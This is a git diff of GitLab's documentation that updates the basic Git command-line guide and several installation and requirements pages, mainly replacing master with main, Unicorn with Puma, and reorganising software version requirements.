+The project becomes available at `https://gitlab.com/<your-namespace>/sample-project/`.
-After you saved a local copy of a repository and modified its files on your computer, you can upload the
-changes to GitLab. This is referred to as **pushing** to GitLab, as this is achieved by the command
-[`git push`](#send-changes-to-gitlabcom).
+You can [fork](../user/project/repository/forking_workflow.md#creating-a-fork) any project you have access to.
-When the remote repository changes, your local copy is behind it. You can update it with the new
-changes in the remote repository.
-This is referred to as **pulling** from GitLab, as this is achieved by the command
-[`git pull`](#download-the-latest-changes-in-the-project).
+## Clone a repository
-## Basic Git commands
+When you clone a repository, the files from the remote repository are downloaded to your computer,
+and a connection is created.
-For the purposes of this guide, we use this example project on GitLab.com:
-[https://gitlab.com/gitlab-tests/sample-project/](https://gitlab.com/gitlab-tests/sample-project/).
+This connection requires you to add credentials. You can either use SSH or HTTPS. SSH is recommended.
-To use it, log into GitLab.com and fork the example project into your
-namespace to have your own copy to playing with. Your sample
-project is available under `https://gitlab.com/<your-namespace>/sample-project/`.
+### Clone with SSH
-You can also choose any other project to follow this guide. Then, replace the
-example URLs with your own project's.
+Clone with SSH when you want to authenticate only one time.
-If you want to start by copying an existing GitLab repository onto your
-computer, see how to [clone a repository](#clone-a-repository). On the other
-hand, if you want to start by uploading an existing folder from your computer
-to GitLab, see how to [convert a local folder into a Git repository](#convert-a-local-directory-into-a-repository).
+1. Authenticate with GitLab by following the instructions in the [SSH documentation](../ssh/README.md).
+1. Go to your project's landing page and select **Clone**. Copy the URL for **Clone with SSH**.
+1. Open a terminal and go to the directory where you want to clone the files. Git automatically creates a folder with the repository name and downloads the files there.
+1. Run this command:
-### Clone a repository
+ ```shell
+ git clone git@gitlab.com:gitlab-tests/sample-project.git
+ ```
-To start working locally on an existing remote repository, clone it with the
-command `git clone <repository path>`. You can either clone it via [HTTPS](#clone-via-https)
-or [SSH](#clone-via-ssh), according to your preferred [authentication method](#git-authentication-methods).
+1. To view the files, go to the new directory:
-You can find both paths (HTTPS and SSH) by navigating to your project's landing page
-and clicking **Clone**. GitLab prompts you with both paths, from which you can copy
-and paste in your command line. You can also
-[clone and open directly in Visual Studio Code](../user/project/repository/index.md#clone-and-open-in-apple-xcode).
+ ```shell
+ cd sample-project
+ ```
-For example, considering our [sample project](https://gitlab.com/gitlab-tests/sample-project/):
+You can also
+[clone a repository and open it directly in Visual Studio Code](../user/project/repository/index.md#clone-and-open-in-visual-studio-code).
-- To clone through HTTPS, use `https://gitlab.com/gitlab-tests/sample-project.git`.
-- To clone through SSH, use `git@gitlab.com:gitlab-tests/sample-project.git`.
+### Clone with HTTPS
-To get started, open a terminal window in the directory you wish to add the
-repository files into, and run one of the `git clone` commands as described below.
+Clone with HTTPS when you want to authenticate each time you perform an operation
+between your computer and GitLab.
-Both commands download a copy of the files in a folder named after the project's
-name and preserve the connection with the remote repository.
-You can then navigate to the new directory with `cd sample-project` and start working on it
-locally.
+1. Go to your project's landing page and select **Clone**. Copy the URL for **Clone with HTTPS**.
+1. Open a terminal and go to the directory where you want to clone the files.
+1. Run the following command. Git automatically creates a folder with the repository name and downloads the files there.
+
+ ```shell
+ git clone https://gitlab.com/gitlab-tests/sample-project.git
+ ```
-#### Clone via HTTPS
+1. GitLab requests your username and password:
+ - If you have 2FA enabled for your account, you must use a [Personal Access Token](../user/profile/personal_access_tokens.md)
+ with **read_repository** or **write_repository** permissions instead of your account's password.
+ - If you don't have 2FA enabled, use your account's password.
-To clone `https://gitlab.com/gitlab-tests/sample-project/` via HTTPS:
+1. To view the files, go to the new directory:
-```shell
-git clone https://gitlab.com/gitlab-tests/sample-project.git
-```
+ ```shell
+ cd sample-project
+ ```
NOTE:
-On Windows, if you entered incorrect passwords multiple times and GitLab is responding `Access denied`,
-you may have to add your namespace (user name or group name) to clone through HTTPS:
+On Windows, if you enter your password incorrectly multiple times and an `Access denied` message appears,
+add your namespace (username or group) to the path:
`git clone https://namespace@gitlab.com/gitlab-org/gitlab.git`.
-#### Clone via SSH
-
-To clone `git@gitlab.com:gitlab-org/gitlab.git` via SSH:
-
-```shell
-git clone git@gitlab.com:gitlab-org/gitlab.git
-```
-
### Convert a local directory into a repository
-When you have your files in a local folder and want to convert it into
-a repository, you must _initialize_ the folder through the `git init`
-command. This instructs Git to begin to track that directory as a
-repository. To do so, open the terminal on the directory you'd like to convert
-and run:
+You can initialize a local folder so Git tracks it as a repository.
-```shell
-git init
-```
+1. Open the terminal in the directory you'd like to convert.
+1. Run this command:
-This command creates a `.git` folder in your directory that contains Git
-records and configuration files. We advise against editing these files
-directly.
+ ```shell
+ git init
+ ```
-Then, on the next step, add the [path to your remote repository](#add-a-remote-repository)
-so that Git can upload your files into the correct project.
+ A `.git` folder is created in your directory. This folder contains Git
+ records and configuration files. You should not edit these files
+ directly.
-#### Add a remote repository
+1. Add the [path to your remote repository](#add-a-remote)
+ so Git can upload your files into the correct project.
-By "adding a remote repository" to your local directory you tell Git that
-the path to that specific project in GitLab corresponds to that specific
-folder you have in your computer. This way, your local folder is
-identified by Git as the local content for that specific remote project.
+#### Add a remote
-To add a remote repository to your local copy:
+You add a "remote" to tell Git which remote repository in GitLab is tied
+to the specific local folder on your computer.
+The remote tells Git where to push or pull from.
-1. In GitLab, [create a new project](../user/project/working_with_projects.md#create-a-project) to hold your files.
+To add a remote to your local copy:
+
+1. In GitLab, [create a project](../user/project/working_with_projects.md#create-a-project) to hold your files.
1. Visit this project's homepage, scroll down to **Push an existing folder**, and copy the command that starts with `git remote add`.
1. On your computer, open the terminal in the directory you've initialized, paste the command you copied, and press <kbd>enter</kbd>:
@@ -291,12 +265,22 @@ To add a remote repository to your local copy:
After you've done that, you can [stage your files](#add-and-commit-local-changes) and [upload them to GitLab](#send-changes-to-gitlabcom).
+#### View your remote repositories
+
+To view your remote repositories, type:
+
+```shell
+git remote -v
+```
+
+The `-v` flag stands for verbose.
+
### Download the latest changes in the project
-To work on an up-to-date copy of the project (it is important to do this every time
-you start working on a project), you `pull` to get all the changes made by users
-since the last time you cloned or pulled the project. Use `master` for the
-`<name-of-branch>` to get the main branch code, or the branch name of the branch
+To work on an up-to-date copy of the project, you `pull` to get all the changes made by users
+since the last time you cloned or pulled the project. Replace `<name-of-branch>`
+with the name of your [default branch](../user/project/repository/branches/default.md)
+to get the main branch code, or replace it with the branch name of the branch
you are currently working in.
```shell
@@ -305,189 +289,191 @@ git pull <REMOTE> <name-of-branch>
When you clone a repository, `REMOTE` is typically `origin`. This is where the
repository was cloned from, and it indicates the SSH or HTTPS URL of the repository
-on the remote server. `<name-of-branch>` is usually `master`, but it may be any
+on the remote server. `<name-of-branch>` is usually the name of your
+[default branch](../user/project/repository/branches/default.md), but it may be any
existing branch. You can create additional named remotes and branches as necessary.
You can learn more on how Git manages remote repositories in the
[Git Remote documentation](https://git-scm.com/book/en/v2/Git-Basics-Working-with-Remotes).
-### View your remote repositories
-
-To view your remote repositories, type:
-
-```shell
-git remote -v
-```
-
-The `-v` flag stands for verbose.
+## Branches
-## Branching
+A **branch** is a copy of the files in the repository at the time you create the branch.
+You can work in your branch without affecting other branches. When
+you're ready to add your changes to the main codebase, you can merge your branch into
+the default branch, for example, `main`.
-If you want to add code to a project but you're not sure if it works properly, or you're
-collaborating on the project with others, and don't want your work to get mixed up, it's a good idea
-to work on a different **branch**.
+Use branches when you:
-When you create a branch in a Git repository, you make a copy of its files at the time of branching. You're free
-to do whatever you want with the code in your branch without impacting the main branch or other branches. And when
-you're ready to bring your changes to the main codebase, you can merge your branch into the default branch
-used in your project (such as `master`).
+- Want to add code to a project but you're not sure if it works properly.
+- Are collaborating on the project with others, and don't want your work to get mixed up.
A new branch is often called **feature branch** to differentiate from the
-**default branch**.
+[default branch](../user/project/repository/branches/default.md).
### Create a branch
-To create a new feature branch and work from without affecting the `master`
-branch:
+To create a feature branch:
```shell
git checkout -b <name-of-branch>
```
-Note that Git does **not** accept empty spaces and special characters in branch
-names, so use only lowercase letters, numbers, hyphens (`-`), and underscores
-(`_`). Do not use capital letters, as it may cause duplications.
+Branch names cannot contain empty spaces and special characters. Use only lowercase letters, numbers,
+hyphens (`-`), and underscores (`_`).
-### Switch to the master branch
+### Switch to a branch
-You are always in a branch when working with Git. The main branch is the master
-branch, but you can use the same command to switch to a different branch by
-changing `master` to the branch name.
+All work in Git is done in a branch.
+You can switch between branches to see the state of the files and work in that branch.
-```shell
-git checkout master
-```
-
-### Work on an existing branch
-
-To switch to an existing branch, so you can work on it:
+To switch to an existing branch:
```shell
git checkout <name-of-branch>
```
-### View the changes you've made
-
-It's important to be aware of what's happening and the status of your changes. When
-you add, change, or delete files/folders, Git knows about it. To check the status of
-your changes:
+For example, to change to the `main` branch:
```shell
-git status
+git checkout main
```
### View differences
-To view the differences between your local, unstaged changes and the repository versions
-that you cloned or pulled, type:
+To view the differences between your local unstaged changes and the latest version
+that you cloned or pulled:
```shell
git diff
```
-### Add and commit local changes
+### View the files that have changes
-Local changes are shown in red when you type `git status`. These changes may
-be new, modified, or deleted files/folders. Use `git add` to first stage (prepare)
-a local file/folder for committing. Then use `git commit` to commit (save) the staged
-files:
+When you add, change, or delete files or folders, Git knows about the changes.
+To check which files have been changed:
```shell
-git add <file-name OR folder-name>
-git commit -m "COMMENT TO DESCRIBE THE INTENTION OF THE COMMIT"
+git status
```
-#### Add all changes to commit
+### Add and commit local changes
+
+When you type `git status`, locally changed files are shown in red. These changes may
+be new, modified, or deleted files or folders.
+
+1. To stage a file for commit:
+
+ ```shell
+ git add <file-name OR folder-name>
+ ```
+
+1. Repeat step 1 for each file or folder you want to add.
+ Or, to stage all files in the current directory and subdirectory, type `git add .`.
+
+1. Confirm that the files have been added to staging:
+
+ ```shell
+ git status
+ ```
-To add and commit (save) all local changes quickly:
+ The files should be displayed in green text.
+
+1. To commit the staged files:
+
+ ```shell
+ git commit -m "COMMENT TO DESCRIBE THE INTENTION OF THE COMMIT"
+ ```
+
+#### Stage and commit all changes
+
+As a shortcut, you can add all local changes to staging and commit them with one command:
```shell
-git add .
-git commit -m "COMMENT TO DESCRIBE THE INTENTION OF THE COMMIT"
+git commit -a -m "COMMENT TO DESCRIBE THE INTENTION OF THE COMMIT"
```
-NOTE:
-The `.` character means _all file changes in the current directory and all subdirectories_.
-
### Send changes to GitLab.com
-To push all local commits (saved changes) to the remote repository:
+To push all local changes to the remote repository:
```shell
git push <remote> <name-of-branch>
```
-For example, to push your local commits to the _`master`_ branch of the _`origin`_ remote:
+For example, to push your local commits to the `main` branch of the `origin` remote:
```shell
-git push origin master
+git push origin main
```
-On certain occasions, Git disallows pushes to your repository, and then
+Sometimes Git does not allow you to push to a repository. Instead,
you must [force an update](../topics/git/git_rebase.md#force-push).
-NOTE:
-To create a merge request from a fork to an upstream repository, see the
-[forking workflow](../user/project/repository/forking_workflow.md).
-
### Delete all changes in the branch
-To delete all local changes in the branch that have not been added to the staging
-area, and leave unstaged files/folders, type:
+To discard all changes to tracked files:
```shell
git checkout .
```
-Note that this removes *changes* to files, not the files themselves.
+This action removes *changes* to files, not the files themselves.
+Untracked (new) files do not change.
### Unstage all changes that have been added to the staging area
-To undo the most recently added, but not committed, changes to files/folders:
+To unstage (remove) all files that have not been committed:
```shell
-git reset .
+git reset
```
### Undo most recent commit
-To undo the most recent commit, type:
+To undo the most recent commit:
```shell
git reset HEAD~1
```
-This leaves the changed files and folders unstaged in your local repository.
+This action leaves the changed files and folders unstaged in your local repository.
WARNING:
-A Git commit should not usually be reversed, particularly if you already pushed it
+A Git commit should not be reversed if you already pushed it
to the remote repository. Although you can undo a commit, the best option is to avoid
the situation altogether by working carefully.
-### Merge a branch with master branch
+You can learn more about the different ways Git can undo changes in the
+[Git Undoing Things documentation](https://git-scm.com/book/en/v2/Git-Basics-Undoing-Things).
-When you are ready to make all the changes in a branch a permanent addition to
-the master branch, you `merge` the two together:
+### Merge a branch with default branch
+
+When you are ready to add your changes to
+the default branch, you `merge` the two together:
```shell
-git checkout <name-of-branch>
-git merge master
+git checkout <feature-branch>
+git merge <default-branch>
```
+In GitLab, you typically use a [merge request](../user/project/merge_requests/) to merge your changes, instead of using the command line.
+
+To create a merge request from a fork to an upstream repository, see the
+[forking workflow](../user/project/repository/forking_workflow.md).
+
## Advanced use of Git through the command line
For an introduction of more advanced Git techniques, see [Git rebase, force-push, and merge conflicts](../topics/git/git_rebase.md).
## Synchronize changes in a forked repository with the upstream
-[Forking a repository](../user/project/repository/forking_workflow.md) lets you create
-a copy of a repository in your namespace. Changes made to your copy of the repository
-are not synchronized automatically with the original.
-Your local fork (copy) contains changes made by you only, so to keep the project
-in sync with the original project, you need to `pull` from the original repository.
+To create a copy of a repository in your namespace, you [fork it](../user/project/repository/forking_workflow.md).
+Changes made to your copy of the repository are not automatically synchronized with the original.
+To keep the project in sync with the original project, you need to `pull` from the original repository.
-You must [create a link to the remote repository](#add-a-remote-repository) to pull
-changes from the original repository. It is common to call this remote the `upstream`.
+You must [create a link to the remote repository](#add-a-remote) to pull
+changes from the original repository. It is common to call this remote repository the `upstream`.
You can now use the `upstream` as a [`<remote>` to `pull` new updates](#download-the-latest-changes-in-the-project)
from the original repository, and use the `origin`
diff --git a/doc/install/README.md b/doc/install/README.md
index c815842480c..488d86f129d 100644
--- a/doc/install/README.md
+++ b/doc/install/README.md
@@ -1,5 +1,6 @@
---
redirect_to: 'index.md'
+remove_date: '2021-05-11'
---
This document was moved to [another location](index.md).
diff --git a/doc/install/azure/index.md b/doc/install/azure/index.md
index 2fca70fd07a..0d62e4d1215 100644
--- a/doc/install/azure/index.md
+++ b/doc/install/azure/index.md
@@ -315,7 +315,8 @@ To fix this, fetch the new GPG key:
```shell
sudo apt install gpg-agent
-curl "https://gitlab-org.gitlab.io/omnibus-gitlab/gitlab_new_gpg.key" --output /tmp/omnibus_gitlab_gpg.key
+curl "https://gitlab-org.gitlab.io/omnibus-gitlab/gitlab_new_gpg.key" \
+ --output /tmp/omnibus_gitlab_gpg.key
sudo apt-key add /tmp/omnibus_gitlab_gpg.key
```
diff --git a/doc/install/google_cloud_platform/index.md b/doc/install/google_cloud_platform/index.md
index 1b232c361ee..958f3e18c62 100644
--- a/doc/install/google_cloud_platform/index.md
+++ b/doc/install/google_cloud_platform/index.md
@@ -52,13 +52,13 @@ After a few seconds, the instance is created and available to log in. The next s
![Deploy settings](img/vm_created.png)
-1. Make a note of the IP address of the instance, as you will need that in a later step. <!-- using future tense is okay here -->
+1. Make a note of the external IP address of the instance, as you will need that in a later step. <!-- using future tense is okay here -->
1. Click on the SSH button to connect to the instance.
1. A new window appears, with you logged into the instance.
![GitLab first sign in](img/ssh_terminal.png)
-1. Next, follow the instructions for installing GitLab for the operating system you choose, at <https://about.gitlab.com/install/>. You can use the IP address from the step above, as the hostname.
+1. Next, follow the instructions for installing GitLab for the operating system you choose, at <https://about.gitlab.com/install/>. You can use the external IP address you noted before as the hostname.
1. Congratulations! GitLab is now installed and you can access it via your browser. To finish installation, open the URL in your browser and provide the initial administrator password. The username for this account is `root`.
diff --git a/doc/install/installation.md b/doc/install/installation.md
index d6f8c9cedd3..572c6de18d0 100644
--- a/doc/install/installation.md
+++ b/doc/install/installation.md
@@ -24,7 +24,7 @@ they changed the location of directories or run services as the wrong user.
If you find a bug/error in this guide, **submit a merge request**
following the
-[contributing guide](https://gitlab.com/gitlab-org/gitlab/blob/master/CONTRIBUTING.md).
+[contributing guide](https://gitlab.com/gitlab-org/gitlab/-/blob/master/CONTRIBUTING.md).
## Consider the Omnibus package installation
@@ -40,11 +40,20 @@ can't be terminated and its memory usage grows over time.
## Select a version to install
-Make sure you view [this installation guide](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/install/installation.md) from the branch (version) of GitLab you would like to install (e.g., `11-7-stable`).
+Make sure you view [this installation guide](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/install/installation.md) from the branch (version) of GitLab you would like to install (e.g., `11-7-stable`).
You can select the branch in the version dropdown in the top left corner of GitLab (below the menu bar).
If the highest number stable branch is unclear, check the [GitLab blog](https://about.gitlab.com/blog/) for installation guide links by version.
+## Software requirements
+
+| Software | Minimum version | Notes |
+| -------- | --------------- | ----- |
+| [Ruby](#2-ruby) | `2.7` | From GitLab 13.6, Ruby 2.7 is required. Ruby 3.0 is not supported yet (see [the relevant epic](https://gitlab.com/groups/gitlab-org/-/epics/5149) for the current status). You must use the standard MRI implementation of Ruby. We love [JRuby](https://www.jruby.org/) and [Rubinius](https://github.com/rubinius/rubinius#the-rubinius-language-platform), but GitLab needs several Gems that have native extensions. |
+| [Go](#3-go) | `1.15` | |
+| [Git](#git) | `2.31.x` | From GitLab 13.11, Git 2.31.x and later is required. It's highly recommended that you use the [Git version provided by Gitaly](#git). |
+| [Node.js](#4-node) | `12.22.1` | GitLab uses [webpack](https://webpack.js.org/) to compile frontend assets. Node.js 14.x is recommended, as it's faster. You can check which version you're running with `node -v`. You need to update it to a newer version if needed. |
+
## GitLab directory structure
This is the main directory structure you end up with following the instructions
@@ -207,7 +216,7 @@ sudo apt-get install -y libimage-exiftool-perl
## 2. Ruby
The Ruby interpreter is required to run GitLab.
-See the [requirements page](requirements.md#ruby-versions) for the minimum
+See the [requirements section of this page](#software-requirements) for the minimum
Ruby requirements.
The use of Ruby version managers such as [`RVM`](https://rvm.io/), [`rbenv`](https://github.com/rbenv/rbenv) or [`chruby`](https://github.com/postmodern/chruby) with GitLab
@@ -283,7 +292,7 @@ sudo adduser --disabled-login --gecos 'GitLab' git
## 6. Database
NOTE:
-In GitLab 12.1 and later, only PostgreSQL is supported. In GitLab 13.0 and later, we [require PostgreSQL 11+](requirements.md#postgresql-requirements).
+In GitLab 12.1 and later, only PostgreSQL is supported. In GitLab 14.0 and later, we [require PostgreSQL 12+](requirements.md#postgresql-requirements).
1. Install the database packages.
@@ -536,7 +545,6 @@ sudo -u git -H editor config/resque.yml
```
Make sure to edit both `gitlab.yml` and `puma.rb` to match your setup.
-If you want to use the Unicorn web server, see [Using Unicorn](#using-unicorn) for the additional steps.
If you want to use HTTPS, see [Using HTTPS](#using-https) for the additional steps.
@@ -640,7 +648,7 @@ You then need to update `gitlab.yml`'s `production -> elasticsearch -> indexer_p
### Install GitLab Pages
-GitLab Pages uses [GNU Make](https://www.gnu.org/software/make/). This step is optional and only needed if you wish to host static sites from within GitLab. The following commands install GitLab Pages in `/home/git/gitlab-pages`. For additional setup steps, consult the [administration guide](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/administration/pages/source.md) for your version of GitLab as the GitLab Pages daemon can be run several different ways.
+GitLab Pages uses [GNU Make](https://www.gnu.org/software/make/). This step is optional and only needed if you wish to host static sites from within GitLab. The following commands install GitLab Pages in `/home/git/gitlab-pages`. For additional setup steps, consult the [administration guide](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/administration/pages/source.md) for your version of GitLab as the GitLab Pages daemon can be run several different ways.
```shell
cd /home/git
@@ -987,24 +995,6 @@ You also need to change the corresponding options (e.g. `ssh_user`, `ssh_host`,
Apart from the always supported Markdown style, there are other rich text files that GitLab can display. But you might have to install a dependency to do so. See the [`github-markup` gem README](https://github.com/gitlabhq/markup#markups) for more information.
-### Using Unicorn
-
-As of GitLab 12.9, [Puma](https://github.com/puma/puma) has replaced Unicorn as the default web server for installations from source.
-If you want to switch back to Unicorn, follow these steps:
-
-1. Finish the GitLab setup so you have it up and running.
-1. Copy the supplied example Unicorn configuration file into place:
-
- ```shell
- cd /home/git/gitlab
-
- # Copy config file for the web server
- sudo -u git -H cp config/unicorn.rb.example config/unicorn.rb
- ```
-
-1. Edit the system `init.d` script and set `USE_WEB_SERVER="unicorn"`. If you have `/etc/default/gitlab`, then you should edit it instead.
-1. Restart GitLab.
-
### Using Sidekiq instead of Sidekiq Cluster
As of GitLab 12.10, Source installations are using `bin/sidekiq-cluster` for managing Sidekiq processes.
diff --git a/doc/install/next_steps.md b/doc/install/next_steps.md
index 3e73da123fb..4e4f1f01a08 100644
--- a/doc/install/next_steps.md
+++ b/doc/install/next_steps.md
@@ -9,26 +9,32 @@ info: To determine the technical writer assigned to the Stage/Group associated w
Here are a few resources you might want to check out after completing the
installation.
-## License
+## Email and notifications
-- [Upload a license](../user/admin_area/license.md) or [start a free trial](https://about.gitlab.com/free-trial/):
- Activate all GitLab Enterprise Edition functionality with a license.
-- [Pricing](https://about.gitlab.com/pricing/): Pricing for the different tiers.
+- [SMTP](https://docs.gitlab.com/omnibus/settings/smtp.html): Configure SMTP
+ for proper email notifications support.
+
+## CI/CD
+
+- [Set up runners](https://docs.gitlab.com/runner/): Set up one or more GitLab
+ Runners, the agents that are responsible for all of the GitLab CI/CD features.
+- [GitLab Pages](../administration/pages/index.md): Configure GitLab Pages to
+ allow hosting of static sites.
+- [GitLab Registry](../administration/packages/container_registry.md): With the
+ GitLab Container Registry, every project can have its own space to store Docker
+ images.
## Security
- [Secure GitLab](../security/README.md#securing-your-gitlab-installation):
Recommended practices to secure your GitLab instance.
+- Sign up for the GitLab [Security Newsletter](https://about.gitlab.com/company/preference-center/) to get notified for security updates upon release.
## Authentication
- [LDAP](../administration/auth/ldap/index.md): Configure LDAP to be used as
an authentication mechanism for GitLab.
-
-## Email and notifications
-
-- [SMTP](https://docs.gitlab.com/omnibus/settings/smtp.html): Configure SMTP
- for proper email notifications support.
+- [SAML and OAuth](../integration/omniauth.md): Authenticate via online services like Okta, Google, Azure AD, and more.
## Backup and upgrade
@@ -40,15 +46,16 @@ installation.
policies governing version naming, as well as release pace for major, minor, patch,
and security releases.
-## CI/CD
+## License
-- [Set up runners](https://docs.gitlab.com/runner/): Set up one or more GitLab
- Runners, the agents that are responsible for all of the GitLab CI/CD features.
-- [GitLab Pages](../administration/pages/index.md): Configure GitLab Pages to
- allow hosting of static sites.
-- [GitLab Registry](../administration/packages/container_registry.md): With the
- GitLab Container Registry, every project can have its own space to store Docker
- images.
+- [Upload a license](../user/admin_area/license.md) or [start a free trial](https://about.gitlab.com/free-trial/):
+ Activate all GitLab Enterprise Edition functionality with a license.
+- [Pricing](https://about.gitlab.com/pricing/): Pricing for the different tiers.
+
+## Cross-repo Code Search
+
+- [Advanced Search](../integration/elasticsearch.md): Leverage Elasticsearch for
+ faster, more advanced code search across your entire GitLab instance.
## Scaling and replication
@@ -56,8 +63,3 @@ installation.
GitLab supports several different types of clustering.
- [Geo replication](../administration/geo/index.md):
Geo is the solution for widely distributed development teams.
-
-## Search
-
-- [Advanced Search](../integration/elasticsearch.md): Leverage Elasticsearch for
- faster, more advanced code search across your entire GitLab instance.
diff --git a/doc/install/postgresql_extensions.md b/doc/install/postgresql_extensions.md
index 663ec547733..80bbb0671b9 100644
--- a/doc/install/postgresql_extensions.md
+++ b/doc/install/postgresql_extensions.md
@@ -54,7 +54,19 @@ In order to install a PostgreSQL extension, this procedure should be followed:
On some systems you may need to install an additional package (for example,
`postgresql-contrib`) for certain extensions to become available.
-## A typical migration failure scenario
+## Typical failure scenarios
+
+The following is an example of a new GitLab installation failing because the extension hasn't been
+installed first.
+
+```shell
+---- Begin output of "bash" "/tmp/chef-script20210513-52940-d9b1gs" ----
+STDOUT: psql:/opt/gitlab/embedded/service/gitlab-rails/db/structure.sql:9: ERROR: permission denied to create extension "btree_gist"
+HINT: Must be superuser to create this extension.
+rake aborted!
+failed to execute:
+psql -v ON_ERROR_STOP=1 -q -X -f /opt/gitlab/embedded/service/gitlab-rails/db/structure.sql --single-transaction gitlabhq_production
+```
The following is an example of a situation when the extension hasn't been installed before running migrations.
In this scenario, the database migration fails to create the extension `btree_gist` because of insufficient
@@ -79,5 +91,9 @@ This query will grant the user superuser permissions, ensuring any database exte
can be installed through migrations.
```
-In order to recover from this situation, the extension needs to be installed manually using a superuser, and
-the database migration (or GitLab upgrade) can be retried afterwards.
+To recover from failed migrations, the extension must be installed manually by a superuser, and the
+GitLab upgrade completed by [re-running the database migrations](../administration/raketasks/maintenance.md#run-incomplete-database-migrations):
+
+```shell
+sudo gitlab-rake db:migrate
+```
diff --git a/doc/install/relative_url.md b/doc/install/relative_url.md
index d04f55c43a3..8b629e9084e 100644
--- a/doc/install/relative_url.md
+++ b/doc/install/relative_url.md
@@ -29,7 +29,7 @@ relative URL is:
- `/home/git/gitlab/config/initializers/relative_url.rb`
- `/home/git/gitlab/config/gitlab.yml`
-- `/home/git/gitlab/config/unicorn.rb`
+- `/home/git/gitlab/config/puma.rb`
- `/home/git/gitlab-shell/config.yml`
- `/etc/default/gitlab`
@@ -88,7 +88,7 @@ Make sure to follow all steps below:
relative_url_root: /gitlab
```
-1. Edit `/home/git/gitlab/config/unicorn.rb` and uncomment/change the
+1. Edit `/home/git/gitlab/config/puma.rb` and uncomment/change the
following line:
```ruby
diff --git a/doc/install/requirements.md b/doc/install/requirements.md
index 926af1795b9..3a8b7bf1004 100644
--- a/doc/install/requirements.md
+++ b/doc/install/requirements.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# Requirements **(FREE SELF)**
+# Installation requirements **(FREE SELF)**
This page includes useful information on the supported Operating Systems as well
as the hardware requirements that are needed to install and use GitLab.
@@ -17,7 +17,7 @@ as the hardware requirements that are needed to install and use GitLab.
- Ubuntu (16.04/18.04/20.04)
- Debian (9/10)
- CentOS (7/8)
-- openSUSE Leap (15.1/15.2)
+- openSUSE Leap (15.2)
- SUSE Linux Enterprise Server (12 SP2/12 SP5)
- Red Hat Enterprise Linux (please use the CentOS packages and instructions)
- Scientific Linux (please use the CentOS packages and instructions)
@@ -47,55 +47,6 @@ Please consider using a virtual machine to run GitLab.
## Software requirements
-### Ruby versions
-
-From GitLab 13.6:
-
-- Ruby 2.7 and later is required.
-
-From GitLab 12.2:
-
-- Ruby 2.6 and later is required.
-
-You must use the standard MRI implementation of Ruby.
-We love [JRuby](https://www.jruby.org/) and [Rubinius](https://github.com/rubinius/rubinius#the-rubinius-language-platform), but GitLab
-needs several Gems that have native extensions.
-
-### Go versions
-
-The minimum required Go version is 1.13.
-
-### Git versions
-
-From GitLab 13.11:
-
-- Git 2.31.x and later is required. We recommend you use the
- [Git version provided by Gitaly](installation.md#git).
-
-From GitLab 13.6:
-
-- Git 2.29.x and later is required.
-
-From GitLab 13.1:
-
-- Git 2.24.x and later is required.
-- Git 2.28.x and later [is recommended](https://gitlab.com/gitlab-org/gitaly/-/issues/2959).
-
-### Node.js versions
-
-Beginning in GitLab 12.9, we only support Node.js 10.13.0 or higher, and we have dropped
-support for Node.js 8. (Node.js 6 support was dropped in GitLab 11.8)
-
-We recommend Node 14.x, as it's faster.
-
-GitLab uses [webpack](https://webpack.js.org/) to compile frontend assets, which requires a minimum
-version of Node.js 10.13.0.
-
-You can check which version you're running with `node -v`. If you're running
-a version older than `v10.13.0`, you need to update it to a newer version. You
-can find instructions to install from community maintained packages or compile
-from source at the [Node.js website](https://nodejs.org/en/download/).
-
### Redis versions
GitLab 13.0 and later requires Redis version 4.0 or higher.
@@ -165,14 +116,16 @@ the following table) as these were used for development and testing:
|----------------|----------------------------|
| 10.0 | 9.6 |
| 13.0 | 11 |
+| 14.0 | 12 |
-You must also ensure the following extensions are [loaded into every
-GitLab database](postgresql_extensions.html):
+You must also ensure the following extensions are loaded into every
+GitLab database. [Read more about this requirement, and troubleshooting](postgresql_extensions.md).
| Extension | Minimum GitLab version |
| ------------ | ---------------------- |
| `pg_trgm` | 8.6 |
| `btree_gist` | 13.1 |
+| `plpgsql` | 11.7 |
NOTE:
Support for [PostgreSQL 9.6 and 10 was removed in GitLab 13.0](https://about.gitlab.com/releases/2020/05/22/gitlab-13-0-released/#postgresql-11-is-now-the-minimum-required-version-to-install-gitlab) so that GitLab can benefit from PostgreSQL 11 improvements, such as partitioning. For the schedule of transitioning to PostgreSQL 12, see [the related epic](https://gitlab.com/groups/gitlab-org/-/epics/2184).
@@ -185,6 +138,35 @@ test based on those. We try to be compatible with most external (not managed by
Omnibus GitLab) databases (for example, [AWS Relational Database Service (RDS)](https://aws.amazon.com/rds/)),
but we can't guarantee compatibility.
+#### Gitaly Cluster database requirements
+
+[Read more in the Gitaly Cluster documentation](../administration/gitaly/praefect.md).
+
+#### Exclusive use of GitLab databases
+
+Databases created or used for GitLab, Geo, Gitaly Cluster, or other components should be for the
+exclusive use of GitLab. Do not make direct changes to the database, schemas, users, or other
+properties except when following procedures in the GitLab documentation or following the directions
+of GitLab Support or other GitLab engineers.
+
+- The main GitLab application currently uses three schemas:
+
+ - The default `public` schema
+ - `gitlab_partitions_static` (automatically created)
+ - `gitlab_partitions_dynamic` (automatically created)
+
+ No other schemas should be manually created.
+
+- GitLab may create new schemas as part of Rails database migrations. This happens when performing
+ a GitLab upgrade. The GitLab database account requires access to do this.
+
+- GitLab creates and modifies tables during the upgrade process, and also as part of normal
+ operations to manage partitioned tables.
+
+- You should not modify the GitLab schema (for example, adding triggers or modifying tables).
+ Database migrations are tested against the schema definition in the GitLab code base. GitLab
+ version upgrades may fail if the schema is modified.
+
## Puma settings
The recommended settings for Puma are determined by the infrastructure on which it's running.
@@ -220,22 +202,6 @@ of [legacy Rugged code](../administration/gitaly/index.md#direct-access-to-git-i
higher, due to how [Ruby MRI multi-threading](https://en.wikipedia.org/wiki/Global_interpreter_lock)
works.
-## Unicorn Workers
-
-For most instances we recommend using: (CPU cores * 1.5) + 1 = Unicorn workers.
-For example a node with 4 cores would have 7 Unicorn workers.
-
-For all machines that have 2GB and up we recommend a minimum of three Unicorn workers.
-If you have a 1GB machine we recommend to configure only two Unicorn workers to prevent excessive
-swapping.
-
-As long as you have enough available CPU and memory capacity, it's okay to increase the number of
-Unicorn workers and this usually helps to reduce the response time of the applications and
-increase the ability to handle parallel requests.
-
-To change the Unicorn workers when you have the Omnibus package (which defaults to the
